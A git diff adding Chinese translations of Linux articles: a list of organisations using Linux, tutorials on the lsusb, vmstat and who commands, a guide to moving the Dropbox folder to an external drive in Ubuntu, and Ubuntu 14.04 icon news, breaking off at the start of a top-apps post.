IBM为Linux的开发做了大量的工作,桌面系统和服务器端都有使用Linux。公司还有一条电视广告语:IBM百分百支持Linux。 + +- **纽约证券系统** - 纽约证券系统在Linux上运行它的交易应用程序。 + +- **Novell** - Novell在2004年从Windows回归Linux。到2006年4月,其一半的员工,共5500名,成功转为使用Linux,到11月,这一比例达到了八成。 + +- **伦敦证券交易所** - 伦敦证券交易所使用基于Linux的MilleniumIT交易软件作为它的的交易平台,2011-12年间,从windows迁移到Linux为其节省至少1千万英镑开支。 + +- **巴西银行** - 巴西最大的国有银行——巴西银行,除了个别企业系统需要运行一些特定的硬件以外,已经将几乎所有的桌面系统换为了Linux。他们从2002年开始迁移,各分支机构和ATM都运行这Linux,选择的发行版是Open SUSE。 + +- **杜克航空** - 杜克航空(DukeJets)租赁公司,2012年从Windows转向了Ubuntu Linux,他们的运营管理套件也变为了Ubuntu帮忙设计的基于Web的航空管理软件。 + +- **Mindbridge** - Mindbridge软件公司,2007年9月宣布,已经将一大批Windows服务器更换为一部分Linux服务器和一部分BSD服务器,同时它声称节省了“相当大的一笔钱”。 + +- **Wotif** - Wotif是澳大利亚一家酒店预订网站,为了保持其业务增长需要,也从Windows转向了Linux服务器。 + +- **维珍航空** - 美国维珍航空公司是一家低成本航空公司,使用Linux搭载它的机上娱乐系统RED。 + +- **Ernie Ball** - Ernie Ball最广为人知的就是它的Super Slinky吉他弦,从2000年开始就开始使用Linux作为它的桌面操作系统。 + +- **芝加哥商品交易所** - 芝加哥商品交易所所有的电脑都是Linux系统,已经处理了价值超过10的15次方这么多的金融交易。 + +- **伊莱克斯冰箱** - 伊莱克斯的“无限i厨房”冰箱是一款使用Linux操作系统的智能电冰箱,搭载嵌入式400Mhz飞思卡尔i.MX25处理器,128MB RAM和480x800分辨率触摸屏。 + +- **KLM** - KLM,荷兰皇家航空公司,使用基于Linux的开源软件作为它KLM的WebFarm。 + +- **加拿大航管公司** - 加拿大航管公司2011年推出了新的互联网飞行计划系统,由Python编写,在红帽Linux上运行。 + +- **Kim Cascone** - 2009年,美国电子音乐作曲家Kim Cascone将他的音乐工作室、演出使用和行政部门电脑系统从苹果Mac换成了Ubuntu。 + +- **Chi-X** - 泛欧洲股权交易所Chi-X在Linux上运行它的MarketPrizm交易平台软件。 + +- **标致** - 欧洲汽车制造商标致,2007年宣布计划部署近2万个Novell公司的SUSE Linux企业版桌面系统以及2500个SUSE Linux企业版服务器。 + +- **加州联合银行** - 加州联合银行2007年1月宣布,为了降低支出,统一将IT基础设备更换为红帽企业版Linux。 + +- **《Laughing Boy》** - 2004年,由所有者Geoff Beasley指导的唱片《Laughing Boy》,在音频录制的过程中,由于间谍软件问题,从Windows迁移到了Linux。 + +###科研领域### + +- **NASA** - NASA已经将国际空间站从Windows XP迁移到了Debian 6。 + +- **朴茨茅斯大学** - 英国的朴茨茅斯大学部署了一台“性价比超高”的高性能计算机,用来分析全世界范围内的数据,运行仿真算法测试当前的宇宙理论。它的操作系统就是[Scientific Linux][12]。朴茨茅斯大学的David Bacon博士说:“我们的宇宙学研究所恰好处在一个绝佳位置,这样我们使用这种高性能计算机就可能取得探索宇宙的真正突破,它可以分析最新的天文观测,还能计算令人难以置信的新理论结果…… 通过选择Dell的工业化标准硬件和开源软件,我们将那些通常用于许可证和授权的支出节省下来。” + +- **天河超级计算机** - 2010年10月,作为当时世界上最快的超级计算机,位于中国天津的国家超级计算机中心的天河1号运行的就是Linux。 + +- **多伦多大学** - 加拿大最大的超级计算机,位于多伦多大学的IBM iDataPlex集群计算机使用的操作系统也是Linux。 + +- **欧洲核子研究中心** - 欧洲核子研究中心(CERN)和费米国立加速器实验室(Fermilab)在工作中使用的都是Scientific Linux;包括大型强子碰撞型加速装置和暗物质摄像机的2万台CERN内部服务器。 + +- **互联网档案馆** - 互联网档案馆(Internet Archive)使用数百个x86服务器将互联网编入目录,所有的服务器运行的都是Linux。 + +综上,这些就是我所知道的使用Linux的地方,当然,这些绝对不是真实数字的全部,甚至沧海一粟都算不上。请在评论中自由留言,如果我遗漏了哪些使用Linux的国家或公司,请在评论中提出来,我会尽快把它们添加到列表中~ + +数据与资料来源: [维基百科][13] + +-------------------------------------------------------------------------------- + +via: http://www.linuxfederation.com/linux-everywhere/ + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux.org +[2]:http://www.redhat.com +[3]:http://www.apache.org +[4]:https://drupal.org/ +[5]:http://fedoraproject.org +[6]:http://www.debian.org +[7]:http://www.opensuse.org +[8]:http://www.ubuntu.com +[9]:http://www.kubuntu.org +[10]:http://www.edubuntu.org +[11]:https://www.suse.com/ +[12]:https://www.scientificlinux.org/ +[13]:https://en.wikipedia.org/wiki/Main_Page diff --git a/published/201401/Linux lsusb Command to Print information about USB on System.md b/published/201401/Linux lsusb Command to Print information about USB on System.md new file mode 100644 index 0000000000..b6ea0ee65a --- /dev/null +++ b/published/201401/Linux lsusb Command to Print information about USB on System.md @@ -0,0 +1,250 @@ +Linux中显示系统中USB信息的lsusb命令 +================================================================================ +**通用串行总线**(**USB**)被设计成为连接计算机外设的标准,如键盘、鼠标、打印机、数码相机、便携式媒体播放器、磁盘和网络适配器等等 - 来源:[Wikipedia][1] + +![lsusb 命令](http://linoxide.com/wp-content/uploads/2013/12/lsusb-linux-command.jpg) + +它已经成为了一个工业标准,现在很难看到一个没有USB口的计算机了。USB闪存的使用使得它更加流行。在Linux上,我们可以使用**lsusb**来列出USB设备和它的属性。 + +### 什么是lsusb ### + +在它的手册上,lsusb定义成: + +> 显示系统中以及连接到系统的USB总线信息的工具。 + +如何运行lsusb? 要运行lsusb,你可以直接在控制台输入lsusb。 + + $ lsusb + + Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub + Bus 002 Device 003: ID 17ef:4811 Lenovo Integrated Webcam [R5U877] + Bus 008 Device 002: ID 0a5c:217f Broadcom Corp. Bluetooth Controller + +**lsusb**会显示驱动和内部连接到你系统的设备。 + +下面介绍如何理解输出。我抓取了上面输出的最后一行: + + Bus 008 Device 002 : ID 0a5c:217f Broadcom Corp. Bluetooth Controller + +- **Bus 008** : 指明设备连接到哪(哪条总线) +- **Device 002** : 表明这是连接到总线上的第二台设备 +- **ID** : 设备的ID +- **Broadcom Corp. Bluetooth Controller** :生产商名字和设备名 + +我们同样可以看到在我们的系统中同时使用了USB2.0 root hub驱动和USB 1.1 root hub驱动。 + +用[dmesg][2]命令同样可以看到。下面是一个例子。 + + $ dmesg |grep -i usb + + [ 0.353138] usbcore: registered new interface driver usbfs + [ 0.353150] usbcore: registered new interface driver hub + [ 0.353182] usbcore: registered new device driver usb + [ 0.730026] ehci_hcd: USB 2.0 ‘Enhanced’ Host Controller (EHCI) Driver + [ 0.730116] ehci_hcd 0000:00:1a.7: new USB bus registered, assigned bus number 1 + [ 0.748019] ehci_hcd 0000:00:1a.7: USB 2.0 started, EHCI 1.00 + [ 0.748169] hub 1-0:1.0: USB hub found + [ 0.748336] ehci_hcd 0000:00:1d.7: new USB bus registered, assigned bus number 2 + [ 0.768019] ehci_hcd 0000:00:1d.7: USB 2.0 started, EHCI 1.00 + [ 0.768147] hub 2-0:1.0: USB hub found + [ 0.768236] ohci_hcd: USB 1.1 ‘Open’ Host Controller (OHCI) Driver + [ 0.768251] uhci_hcd: USB Universal Host Controller Interface driver + +### 如何列出USB详细信息 ### + +使用**-v**选项来开启。下面是一个例子。 + + $ lsusb -v + + Interface Descriptor: + bLength 9 + bDescriptorType 4 + bInterfaceNumber 1 + bAlternateSetting 5 + bNumEndpoints 2 + bInterfaceClass 224 Wireless + bInterfaceSubClass 1 Radio Frequency + bInterfaceProtocol 1 Bluetooth + iInterface 0 + Endpoint Descriptor: + bLength 7 + bDescriptorType 5 + bEndpointAddress 0×83 EP 3 IN + bmAttributes 1 + Transfer Type Isochronous + Synch Type None + Usage Type Data + wMaxPacketSize 0×0040 1x 64 bytes + bInterval 1 + Endpoint Descriptor: + bLength 7 + bDescriptorType 5 + bEndpointAddress 0×03 EP 3 OUT + bmAttributes 1 + Transfer Type Isochronous + Synch Type None + Usage Type Data + wMaxPacketSize 0×0040 1x 64 bytes + bInterval 1 + +### 找出连接了多少USB设备 ### + +使用下面的命令 + + $ find /dev/bus + +接着你会看到像下面的输出: + + /dev/bus + /dev/bus/usb + /dev/bus/usb/008 + /dev/bus/usb/008/002 + /dev/bus/usb/008/001 + /dev/bus/usb/007 + /dev/bus/usb/007/001 + /dev/bus/usb/006 + /dev/bus/usb/006/001 + /dev/bus/usb/005 + /dev/bus/usb/005/001 + /dev/bus/usb/004 + /dev/bus/usb/004/001 + /dev/bus/usb/003 + /dev/bus/usb/003/001 + /dev/bus/usb/002 + /dev/bus/usb/002/004 + /dev/bus/usb/002/003 + /dev/bus/usb/002/001 + /dev/bus/usb/001 + /dev/bus/usb/001/001 + +使用**lsusb** 命令 的**-D** 选项,你可以打印特定设备的详细信息。下面是一个博通蓝牙设备的示例。 + + $ lsusb -D /dev/bus/usb/008/002 + + Device: ID 0a5c:217f Broadcom Corp. Bluetooth Controller + Couldn’t open device, some information will be missing + Device Descriptor: + bLength 18 + bDescriptorType 1 + bcdUSB 2.00 + bDeviceClass 224 Wireless + bDeviceSubClass 1 Radio Frequency + bDeviceProtocol 1 Bluetooth + bMaxPacketSize0 64 + idVendor 0x0a5c Broadcom Corp. + idProduct 0x217f Bluetooth Controller + bcdDevice 3.60 + iManufacturer 1 + iProduct 2 + iSerial 3 + bNumConfigurations 1 + Configuration Descriptor: + bLength 9 + bDescriptorType 2 + wTotalLength 216 + bNumInterfaces 4 + bConfigurationValue 1 + iConfiguration 0 + bmAttributes 0xe0 + Self Powered + Remote Wakeup + MaxPower 0mA + Interface Descriptor: + bLength 9 + bDescriptorType 4 + bInterfaceNumber 0 + bAlternateSetting 0 + bNumEndpoints 3 + bInterfaceClass 224 Wireless + bInterfaceSubClass 1 Radio Frequency + bInterfaceProtocol 1 Bluetooth + iInterface 0 + Endpoint Descriptor: + bLength 7 + bDescriptorType 5 + bEndpointAddress 0×81 EP 1 IN + bmAttributes 3 + Transfer Type Interrupt + Synch Type None + Usage Type Data + wMaxPacketSize 0×0010 1x 16 bytes + bInterval 1 + Endpoint Descriptor: + bLength 7 + bDescriptorType 5 + bEndpointAddress 0×82 EP 2 IN + bmAttributes 2 + Transfer Type Bulk + Synch Type None + Usage Type Data + wMaxPacketSize 0×0040 1x 64 bytes + bInterval 1 + Endpoint Descriptor: + bLength 7 + bDescriptorType 5 + bEndpointAddress 0×02 EP 2 OUT + bmAttributes 2 + Transfer Type Bulk + Synch Type None + Usage Type Data + wMaxPacketSize 0×0040 1x 64 bytes + bInterval 1 + +### 找出大容量存储设备 ### + +既然 **lsusb -v**给我们很详细的信息,那么你或许会错过一些信息。我们可以使用grep命令指定特定的信息。 + +大容量存储设备会有一个供应商名和ID。我们可以用它作为一个起点。 + + $ lsusb -v |grep -Ei ‘(idVendor|Mass\ Storage)’ + + idVendor 0×1005 Apacer Technology, Inc. + bInterfaceClass 8 Mass Storage + +你可以看到,我们系统上有一个来自Apacer Technology, Inc的USB大容量存储设备。 + +### 以树层级结构输出USB设备 ### + +使用 **-t**选项满足这个要求 + + $ lsusb -t + + /: Bus 08.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 07.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 06.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 05.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 04.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 03.Port 1: Dev 1, Class=root\_hub, Driver=uhci_hcd/2p, 12M + /: Bus 02.Port 1: Dev 1, Class=root\_hub, Driver=ehci_hcd/6p, 480M + |__ Port 1: Dev 4, If 0, Class=stor., Driver=usb-storage, 480M + |__ Port 6: Dev 3, If 0, Class=’bInterfaceClass 0x0e not yet handled’, Driver=uvcvideo, 480M + |__ Port 6: Dev 3, If 1, Class=’bInterfaceClass 0x0e not yet handled’, Driver=uvcvideo, 480M + /: Bus 01.Port 1: Dev 1, Class=root\_hub, Driver=ehci_hcd/6p, 480M + +数字**12M和480M** 是**指USB类型的传输速率**。 + +- 12M 意味着 USB 1.0 / 1.1的速率是 12Mbit/s +- 480M 意味着 USB 2.0的速率是 480Mbit/s + +如果你找到5.0G,那意味这你有USB 3.0类型接口。它有5.0Gbit/s的传输速率。Linux从**/var/lib/usbutils/usb.ids**识别USB设备的详细信息。或者你可以访问[Linux-USB.org][3]获取最新的USB ID列表。 + +这些就是lsusb命令的基础。你可以用lsusb命令对你的系统上的USB设备做一个诊断。一般来说,你可以通过lsusb的手册探索命令的更多详细细节。只要输入**man lsab**来打开它的手册。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-lsusb-command-print-usb/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/USB +[2]:http://linoxide.com/linux-command/linux-dmesg-command/ +[3]:http://www.linux-usb.org/usb.ids diff --git a/published/201401/Linux vmstat Command - Tool to Report Virtual Memory Statistics.md b/published/201401/Linux vmstat Command - Tool to Report Virtual Memory Statistics.md new file mode 100644 index 0000000000..2f95d12d0b --- /dev/null +++ b/published/201401/Linux vmstat Command - Tool to Report Virtual Memory Statistics.md @@ -0,0 +1,105 @@ +Linux vmstat 命令 - 报告虚拟内存统计的工具 +================================================================================ +众所周知,计算机必须有称之为RAM(随机访问内存)的存储器使得计算机工作。RAM指的是插在计算机主板上的物理存储。这里的RAM被用于加载像浏览器、文字处理器这类的程序,实际上,你使用的程序都运行在内存上。 + +让我们假设你有2GB的内存。当你在运行操作系统时,你的可用内存可能只有1.5GB。接着你使用了大量的程序。当内存使用满之后,你可能再也无法加载更多的程序。浅显地说,计算机可能会说:"抱歉,你不能在运行更多的程序了,如果你还要运行其他的程序请先关闭一些程序。" + +为了解决这个问题,包括Linux在内的各种操作系统使用了一个称之为虚拟内存的方法。这个方法会搜索最近不在使用的程序的内存区域,接着将它们拷贝到计算机硬盘上。这会腾出一些剩余内存空间给你有机会运行更多的程序。 + +为了监视虚拟内存的活动,我们使用**vmstat**工具。 + +### 什么是 vmstat ### + +vmstat是一个提供报告虚拟内存统计的工具。它包括了系统内存、交换和实时处理器利用率。 + +### 如何运行 vmstat ### + +和[mpstat][1]一样,vmstat包含在sysstat包中。如果你还没有,请安装sysstat包。 + +为了运行vmstat,只需在控制台输入vmstat。不带参数运行vmstat会显示vmstat的默认结果。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_default.png) + +让我们看下如何了解vmstat提供的信息: + +#### Procs #### + +procs有 **r**列和**b**列。**r**列代表等待访问CPU进程的数量。而b列意味着睡眠进程的数量。在这些列的下面,是它们的值。从上面的截图中,我门有2个进程正在等待访问CPU,0个睡眠进程。 + +#### Memory #### + +memory有**swpd、 free、 buff** 和 **cache** 这些列。这些信息和命令**free -m**相同。**swpd列**显示了有多少内存已经被交换到了交换文件或者磁盘。**free列**显示了未分配的可用内存。**buff列**显示了使用中的内存。**cache列**显示了有多少内存可以被交换到交换文件或者磁盘上如果一些应用需要他们。 + +#### Swap #### + +swap显示了从交换系统上发送或取回了多少内存。**si**列告诉我们每秒有多少内存被**从swap移到真实内存**中(In)。**so**列告诉我们每秒有多少内存被**从真实内存移到swap**中(Out)。 + +#### I/O #### + +**io**依据块的读写显示了每秒输入输出的活动。**bi**列告诉我们收到的块数量,**bo**列告诉我们发送的块数量。 + +#### System #### + +system显示了每秒的系统操作数量。**in**列显示了系统每秒被中断的数量。**cs**列显示了系统为了处理所以任务而上下文切换的数量。 + +#### CPU #### + +CPU告诉了我们CPU资源的使用情况。**us列**显示了处理器在非内核程序消耗的时间。**sy列**显示了处理器在内核相关任务上消耗的时间。**id列**显示了处理器的空闲时间。**wa列**显示了处理器在等待IO操作完成以继续处理任务上的时间。 + +### 按间隔时间运行vmstat ### + +作为一个统计工具,使用vmstat最好的方法是使用**间隔时间**。你可以间断地捕捉系统状态。让我假设以5秒的间隔运行vmstat。只需要在你的控制台中输入**vmstat 5**就行。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_delay_5.png) + +命令将会每5秒运行一次,**直到**你按下Ctrl-C来终止它。你也可以使用第二个参数来控制vmstat运行的次数。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_count_7.png) + +上面的命令会**以5秒的间隔运行7次vmstat**。 + +### 显示活跃和非活跃内存 ### + +要这么做,你可以在vmstat后加入**-a**选项。这是个示例。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_a.png) + +### 显示磁盘统计数据总结 ### + +如果你想,vmstat也可以打印系统磁盘活动统计。使用**-D**选项就行。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_disk_sum.png) + +### 显示单位 ### + +你可以选择你想打印的显示单位字符。在**-S后跟上k (小写,1000)、 K (大写,1024)、 m (小写,1000000)、 M (大写,1048576)** 字节. 如果你不想选择单位,默认使用的是K (1024)。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_define_unit.png) + +### 显示某个磁盘分区的详细统计数据 ### + +要这么做,你可以使用**-p选项跟上设备名**。这里有个例子。 + +![](http://linoxide.com/wp-content/uploads/2013/12/vmstat_partition.png) + +### 文件 ### + +vmstat实际上是使用这些文件获取的数据。 + + /proc/meminfo + /proc/stat + /proc/*/stat + +### 总结 ### + +如果你感觉系统运行超出内存了,在你增加物理内存前,这个工具可以帮助你确定问题的根本原因。通常上,你可以在控制台中输入**man vmstat**获取更多的关于vmstat的详细信息,这会为你显示vmstat的手册页。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-vmstat-command-tool-report-virtual-memory-statistics/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linoxide.com/linux-command/linux-mpstat-command/ \ No newline at end of file diff --git "a/published/201401/Linux who command \342\200\223 Displays who is on the system.md" "b/published/201401/Linux who command \342\200\223 Displays who is on the system.md" new file mode 100644 index 0000000000..571f4f0593 --- /dev/null +++ "b/published/201401/Linux who command \342\200\223 Displays who is on the system.md" @@ -0,0 +1,103 @@ +Linux who 命令 – 显示系统登录者 +================================================================================ +作为一名系统管理员,我们需要弄清楚在一个特定的时间点都有谁活跃在系统上。必须严密监视我们的服务器。但是,我们当然不可能一天24小时都盯着系统。在linux系统中,我们可以使用who命令查看登录者信息。 + +### 什么是 who 命令 ### +**who**命令能够打印 **当前都有谁登录到系统中** 的相关信息 。who命令只会显示真正登录到系统中的用户。它不会显示那些通过**su**命令切换用户的登录者。 + +### 如何使用who命令 ### +在大多数linux发行版中,who命令都是默认安装上的。想使用该命令,只需在控制台敲命令就行了。不带选项的话,运行该命令产生默认输出。 + + $ who + +![](http://linoxide.com/wp-content/uploads/2013/12/who_default.png) + +#### 如何理解输出: #### + +- 第一列显示用户名称 +- 第二列显示用户连接方式。Tty意味着用户直接连接到电脑上,而pts意味着远程登录。 +- 第三、四列分别显示日期和时间 +- 第五列显示用户登录IP地址。 + +### 使用带参数的who命令 ### +Who命令有一些参数用于调整输出。以下是常用的例子。 + +#### 显示上一次重新启动的时间和日期 #### +使用 **-b** 选项 + + $ who -b + +![](http://linoxide.com/wp-content/uploads/2013/12/who_b.png) + +可以看到系统启动是在2013年12月21日,下午3:52。 + +#### 显示初始化进程的当前运行级别 #### + +使用 -r 选项,who命令会打印出初始化进程的当前运行级别 + + $ who -r + +![](http://linoxide.com/wp-content/uploads/2013/12/who_r.png) + +输出显示2013年12月21日,下午3:52系统以 级别2 开始运行。 +#### 为每一列添加标题 #### + +使用 -H 选项为每一列添加标题 + + $ who -H + +![](http://linoxide.com/wp-content/uploads/2013/12/who_H.png) + +#### 只打印当前运行终端的相关信息 #### +可以使用**-m**选项。 + + $ who -m + +![](http://linoxide.com/wp-content/uploads/2013/12/who_m.png) + +#### 对当前登录用户数量计数 #### +如果系统同时有多人登录在线,-q 选项协助你完成计数功能。 + + $ who -q + +![](http://linoxide.com/wp-content/uploads/2013/12/who_q.png) + +#### 附加空闲时间和PID信息 #### +默认情况下,who命令不会打印空闲时间和PID信息。如果打算显示这些信息,使用-u选项。不要忘记使用 -H选项让显示的信息更加简单易读。 + + $ who -u -H + +![](http://linoxide.com/wp-content/uploads/2013/12/who_u.png) + +**空闲时间** 包含了最近最后一次活动以来消逝的时间. 所以,00:13 意思是 用户leni已经13分钟没执行过命令了. **(.)符号** 是指该终端过去的一分钟有过活动。在那期间,我们称之为 “current” 。**PID** 是用户shell程序的进程ID号。 + +#### 显示登录进程#### +使用**-l**选项 + + $ who -l + +![](http://linoxide.com/wp-content/uploads/2013/12/who_l.png) + +第一列只显示系统登录守护进程的名字。上面截图中的数字 967, 971等是进程ID。 + +#### 显示所有信息 #### +使用**-a**选项会显示所有信息。例如: + + $ who -a + +![](http://linoxide.com/wp-content/uploads/2013/12/who_a.png) + +####总结#### +你会发现 who 命令跟 w 命令在某些方面有些相像。不要为此感到疑惑,为什么linux要实现这些在功能上相近的命令。你可以使用你觉得最适合你的或者适用于某种场合的命令。请查阅who命令手册了解更多详细信息。 + +- See more at: http://linoxide.com/linux-command/linux-who-command/#sthash.CU0bq3e4.dpuf + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-who-command/ + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linoxide.com/linux-command/linux-w-command/ diff --git "a/published/201401/Move Dropbox\342\200\231s Folder To An External Drive In Ubuntu.md" "b/published/201401/Move Dropbox\342\200\231s Folder To An External Drive In Ubuntu.md" new file mode 100644 index 0000000000..41fd73b675 --- /dev/null +++ "b/published/201401/Move Dropbox\342\200\231s Folder To An External Drive In Ubuntu.md" @@ -0,0 +1,62 @@ +在Ubuntu中将Dropbox文件夹放移动硬盘上 +================================================================================= + +几个星期前,我们展示了如何[在Microsoft Windows中移动Dropbox文件夹到一个移动硬盘] [1]。该教程获得一致好评。对于使用Ubuntu操作系统的用户来说同样适用。 + +这个简短的教程将告诉你如何在Ubuntu下轻松地将Dropbox文件夹移动到另一个位置。 + +我写这些教程的原因是,几个月前我收到了一台全新的只有128GB SSD硬盘的惠普EliteBook笔记本电脑。我爱这台快速且性能良好的电脑。 + +它的缺点是,本地存储太小,无法处理我所有的东西。除了我的本地应用程序和数据,我在我的Dropbox也有几个GB大小的文件。 + +所以,当我同步我的Dropbox帐号并下载它的所有内容,我的HP EliteBook,完全消耗掉整个本地磁盘。 + +唯一的解决办法是,不使用本地存储磁盘直接将Dropbox文件夹移动到一个外部的移动硬盘上中。 + +如果你发现自己也有类似的问题,无论是使用Windows还是Ubuntu,请按照下列步骤,以腾出本地磁盘上的空间。在Ubuntu中开始移动Dropbox文件夹,首先插入外部存储器。(译注:本例并非真实的外部移动硬盘,而是在vbox测试环境中测试。) + +插入磁盘后,进入Unity Dash 并搜索Disks。打开它并选择你希望适用的外部驱动器,点击 **Tools –> Format** + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder3.png) + +下一步,格式化驱动器的文件系统为**NTFS**格式。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder4.png) + +格式化之后,选择 **Tools –> Mount Options** + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder5.png) + +然后指定相应的选项,如下图所示:安装点(准备将Dropbox的文件夹放到这里),文件系统类型,以及下面的图片中的其他选项。保存它时,你就大功告成了。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder6.png) + +在此之后,退出Dropbox的服务并在默认位置(/home/用户名/Dropbox)删除当前的Dropbox文件夹(译注:在Dropbox完全移动好之前,我不建议你如本文一样删除原来的文件夹,而是将文件夹改名,要不万一出错呢?)。当您再次启动Dropbox的服务时,它会提醒你缺少的文件夹。点击重新链接按钮以指定新的位置(就是你的移动硬盘上的新位置)。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder.png) + +当提示选择安装类型,选择‘**Advanced’**并指定位置安装Dropbox文件夹。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder1.png) + +设置完毕后,重新启动,如果Dropbox的不会提示你缺少文件夹,那么就成功了。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/12/dropboxubuntumissingfolder2.png) + +教程就是这样! + +如果没有安装NTFS-3G,运行这个命令来安装它。 + + sudo apt-get install ntfs-3g + + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/12/move-dropboxs-folder-to-an-external-drive-in-ubuntu/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.liberiangeek.net/2013/11/daily-windows-tips-move-dropbox-folder-to-external-drive/ + diff --git a/published/201401/New Ubuntu 14.04 Icons Are Drop-Dead Gorgeous, Might Not Arrive in Desktop Version.md b/published/201401/New Ubuntu 14.04 Icons Are Drop-Dead Gorgeous, Might Not Arrive in Desktop Version.md new file mode 100644 index 0000000000..bc1b9d28db --- /dev/null +++ b/published/201401/New Ubuntu 14.04 Icons Are Drop-Dead Gorgeous, Might Not Arrive in Desktop Version.md @@ -0,0 +1,40 @@ +新版Ubuntu 14.04图标美轮美奂,不过可能不会发布桌面版 +================================================================================ + +**Canonical正在为Ubuntu 14.04准备一次改版,正在设计中的新版图标会超越之前所有的。** + +在上一次UDS(Ubuntu开发者提交)中,詹姆斯·马修,一位一直热情地在为Ubuntu设计外观的设计师,展示了一组美轮美奂的图标,没有一个更好的词语来形容了。现在他正在为我们展示他一直所进行的工作的更多细节。 + +>“这个项目的主要目标是为桌面环境和触屏设备创建一个现代化,高分辨率的图标主题,它能够适应各种各样的屏幕像素密度,增强Ubuntu的用户体验。我们想要我们的图标传达出我们的价值观,用一种独特的方式传达出Ubuntu的个性化。” + +詹姆斯·马修在Ubuntu官方站点的一篇文章中提到:“我们已经为应用程序和标识(symbol)设计了移动图标,但是,因为它们在时间的演变中并没有明确的指引方向,所以没有形成一致的风格。在桌面上,虽然风格是简洁一致的,但图标看起来过时了,也需要更新。“ + +Canonical现在的目标是为包括手机和平板在内的所有平台更新掉陈旧的图标,使它们在不丢失原来辨识度的情况下达到出最新的标准。用户只需要看一眼图标,不需要思考,就能识别这是Ubuntu系统。 + +迄今为止仍在使用的老旧图标看起来并非那么糟糕,但已经展示出来的新图标则是美轮美奂。 + +马修在他的文章中[也提到][1]:“过去一年我们都在为这个进行中的项目工作。我们已经集中精力在如何最好地分类图标这个问题上进行了广泛的研究;我们也经历了数次的设计迭代和探索。” + +这些并不是图标的最终版本,设计可能会继续修改。还有一种可能性是这些新图标可能没有时间为桌面版本准备好,但是我们只有希望它们能。 + +![](http://i1-news.softpedia-static.com/images/news2/New-Ubuntu-14-04-Icons-Are-Drop-dead-Gorgeous-Might-Not-Arrive-in-Desktop-Version-410435-3.jpg) + +*Ubuntu 14.04 icon set* + +![](http://i1-news.softpedia-static.com/images/news2/New-Ubuntu-14-04-Icons-Are-Drop-dead-Gorgeous-Might-Not-Arrive-in-Desktop-Version-410435-4.png) + +*Ubuntu 14.04 symbolic icons* + +![](http://i1-news.softpedia-static.com/images/news2/New-Ubuntu-14-04-Icons-Are-Drop-dead-Gorgeous-Might-Not-Arrive-in-Desktop-Version-410435-5.png) + +*Ubuntu 14.04 icons in context* + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/New-Ubuntu-14-04-Icons-Are-Drop-dead-Gorgeous-Might-Not-Arrive-in-Desktop-Version-410435.shtml + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://design.canonical.com/2013/12/the-new-ubuntu-icons/ diff --git a/published/201401/Our Top 10 Linux Applications of 2013.md b/published/201401/Our Top 10 Linux Applications of 2013.md new file mode 100644 index 0000000000..35098933da --- /dev/null +++ b/published/201401/Our Top 10 Linux Applications of 2013.md @@ -0,0 +1,138 @@ +2013年Ubuntu上的最佳Linux APP !! +================================================================================ + +![2013 – What A Year, Right?](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/apps1.jpg) + +*2013 - 